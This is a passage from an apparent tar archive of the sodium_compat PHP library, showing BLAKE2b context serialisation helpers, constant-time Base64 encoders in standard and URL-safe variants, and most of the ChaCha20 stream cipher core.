            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     * @throws TypeError
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, int|string> $arr
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, array<int, int>> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $str .= self::store32_le($ctxA[$i][1]);
            $str .= self::store32_le($ctxA[$i][0]);
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctxA = $ctx[$i]->toArray();
            $str .= self::store32_le($ctxA[0][1]);
            $str .= self::store32_le($ctxA[0][0]);
            $str .= self::store32_le($ctxA[1][1]);
            $str .= self::store32_le($ctxA[1][0]);
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = (int) $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = SplFixedArray::fromArray(
                array(
                    self::load_4(
                        self::substr($string, (($i << 3) + 4), 4)
                    ),
                    self::load_4(
                        self::substr($string, (($i << 3) + 0), 4)
                    )
                )
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4))
                )
            );
            $ctx[$i][0] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4))
                )
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
Core/Base64/Original.php000064400000020434152222652550010746 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_Original
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }

    /**
     * @param string $encodedString
     * @return string
     */
    public static function decodeNoPadding(
        #[SensitiveParameter]
        $encodedString
    ) {
        $srcLen = strlen($encodedString);
        if ($srcLen === 0) {
            return '';
        }
        if (($srcLen & 3) === 0) {
            // If $strLen is not zero, and it is divisible by 4, then it's at least 4.
            if ($encodedString[$srcLen - 1] === '=' || $encodedString[$srcLen - 2] === '=') {
                throw new InvalidArgumentException(
                    "decodeNoPadding() doesn't tolerate padding"
                );
            }
        }
        return self::decode(
            $encodedString,
            true
        );
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2b) $ret += 62 + 1;
        $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63;

        // if ($src == 0x2f) ret += 63 + 1;
        $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15
        $diff -= ((61 - $src) >> 8) & 15;

        // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 3;

        return pack('C', $src + $diff);
    }
}
Core/Base64/UrlSafe.php000064400000020443152222652550010543 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64UrlSafe
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_UrlSafe
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }

    /**
     * @param string $encodedString
     * @return string
     */
    public static function decodeNoPadding(
        #[SensitiveParameter]
        $encodedString
    ) {
        $srcLen = strlen($encodedString);
        if ($srcLen === 0) {
            return '';
        }
        if (($srcLen & 3) === 0) {
            // If $strLen is not zero, and it is divisible by 4, then it's at least 4.
            if ($encodedString[$srcLen - 1] === '=' || $encodedString[$srcLen - 2] === '=') {
                throw new InvalidArgumentException(
                    "decodeNoPadding() doesn't tolerate padding"
                );
            }
        }
        return self::decode(
            $encodedString,
            true
        );
    }

    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE
    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2c) $ret += 62 + 1;
        $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63;

        // if ($src == 0x5f) ret += 63 + 1;
        $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13
        $diff -= ((61 - $src) >> 8) & 13;

        // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 49;

        return pack('C', $src + $diff);
    }
}
Core/Base64/.htaccess000064400000000000152222652550010252 0ustar00Core/ChaCha20.php000064400000031131152222652550007423 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_ChaCha20
 */
class ParagonIE_Sodium_Core_ChaCha20 extends ParagonIE_Sodium_Core_Util
{
    /**
     * Bitwise left rotation
     *
     * @internal You should not use this directly from another application
     *
     * @param int $v
     * @param int $n
     * @return int
     */
    public static function rotate($v, $n)
    {
        $v &= 0xffffffff;
        $n &= 31;
        return (int) (
            0xffffffff & (
                ($v << $n)
                    |
                ($v >> (32 - $n))
            )
        );
    }

    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @return array<int, int>
     */
    protected static function quarterRound($a, $b, $c, $d)
    {
        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        /** @var int $a */
        $a = ($a + $b) & 0xffffffff;
        $d = self::rotate($d ^ $a, 8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        /** @var int $c */
        $c = ($c + $d) & 0xffffffff;
        $b = self::rotate($b ^ $c, 7);
        return array((int) $a, (int) $b, (int) $c, (int) $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws TypeError
     * @throws SodiumException
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        $j0  = (int) $ctx[0];
        $j1  = (int) $ctx[1];
        $j2  = (int) $ctx[2];
        $j3  = (int) $ctx[3];
        $j4  = (int) $ctx[4];
        $j5  = (int) $ctx[5];
        $j6  = (int) $ctx[6];
        $j7  = (int) $ctx[7];
        $j8  = (int) $ctx[8];
        $j9  = (int) $ctx[9];
        $j10 = (int) $ctx[10];
        $j11 = (int) $ctx[11];
        $j12 = (int) $ctx[12];
        $j13 = (int) $ctx[13];
        $j14 = (int) $ctx[14];
        $j15 = (int) $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  (int) $j0;
            $x1 =  (int) $j1;
            $x2 =  (int) $j2;
            $x3 =  (int) $j3;
            $x4 =  (int) $j4;
            $x5 =  (int) $j5;
            $x6 =  (int) $j6;
            $x7 =  (int) $j7;
            $x8 =  (int) $j8;
            $x9 =  (int) $j9;
            $x10 = (int) $j10;
            $x11 = (int) $j11;
            $x12 = (int) $j12;
            $x13 = (int) $j13;
            $x14 = (int) $j14;
            $x15 = (int) $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            /** @var int $x0 */
            $x0  = ($x0 & 0xffffffff) + $j0;
            /** @var int $x1 */
            $x1  = ($x1 & 0xffffffff) + $j1;
            /** @var int $x2 */
            $x2  = ($x2 & 0xffffffff) + $j2;
            /** @var int $x3 */
            $x3  = ($x3 & 0xffffffff) + $j3;
            /** @var int $x4 */
            $x4  = ($x4 & 0xffffffff) + $j4;
            /** @var int $x5 */
            $x5  = ($x5 & 0xffffffff) + $j5;
            /** @var int $x6 */
            $x6  = ($x6 & 0xffffffff) + $j6;
            /** @var int $x7 */
            $x7  = ($x7 & 0xffffffff) + $j7;
            /** @var int $x8 */
            $x8  = ($x8 & 0xffffffff) + $j8;
            /** @var int $x9 */
            $x9  = ($x9 & 0xffffffff) + $j9;
            /** @var int $x10 */
            $x10 = ($x10 & 0xffffffff) + $j10;
            /** @var int $x11 */
            $x11 = ($x11 & 0xffffffff) + $j11;
            /** @var int $x12 */
            $x12 = ($x12 & 0xffffffff) + $j12;
            /** @var int $x13 */
            $x13 = ($x13 & 0xffffffff) + $j13;
            /** @var int $x14 */
            $x14 = ($x14 & 0xffffffff) + $j14;
            /** @var int $x15 */
            $x15 = ($x15 & 0xffffffff) + $j15;

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  ^= self::load_4(self::substr($message, 0, 4));
            $x1  ^= self::load_4(self::substr($message, 4, 4));
            $x2  ^= self::load_4(self::substr($message, 8, 4));
            $x3  ^= self::load_4(self::substr($message, 12, 4));
            $x4  ^= self::load_4(self::substr($message, 16, 4));
            $x5  ^= self::load_4(self::substr($message, 20, 4));
            $x6  ^= self::load_4(self::substr($message, 24, 4));
            $x7  ^= self::load_4(self::substr($message, 28, 4));
            $x8  ^= self::load_4(self::substr($message, 32, 4));
            $x9  ^= self::load_4(self::substr($message, 36, 4));
            $x10 ^= self::load_4(self::substr($message, 40, 4));
            $x11 ^= self::load_4(self::substr($message, 44, 4));
            $x12 ^= self::load_4(self::substr($message, 48, 4));
            $x13 ^= self::load_4(self::substr($message, 52, 4));
            $x14 ^= self::load_4(self::substr($message, 56, 4));
            $x15 ^= self::load_4(self::substr($message, 60, 4));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            ++$j12;
            if ($j12 & 0xf0000000) {
                throw new SodiumException('Overflow');
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */
            $block = self::store32_le((int) ($x0  & 0xffffffff)) .
                 self::store32_le((int) ($x1  & 0xffffffff)) .
                 self::store32_le((int) ($x2  & 0xffffffff)) .
                 self::store32_le((int) ($x3  & 0xffffffff)) .
                 self::store32_le((int) ($x4  & 0xffffffff)) .
                 self::store32_le((int) ($x5  & 0xffffffff)) .
                 self::store32_le((int) ($x6  & 0xffffffff)) .
                 self::store32_le((int) ($x7  & 0xffffffff)) .
                 self::store32_le((int) ($x8  & 0xffffffff)) .
                 self::store32_le((int) ($x9  & 0xffffffff)) .
                 self::store32_le((int) ($x10 & 0xffffffff)) .
                 self::store32_le((int) ($x11 & 0xffffffff)) .
                 self::store32_le((int) ($x12 & 0xffffffff)) .
                 self::store32_le((int) ($x13 & 0xffffffff)) .
                 self::store32_le((int) ($x14 & 0xffffffff)) .
                 self::store32_le((int) ($x15 & 0xffffffff));

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len, $nonce, $key)
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
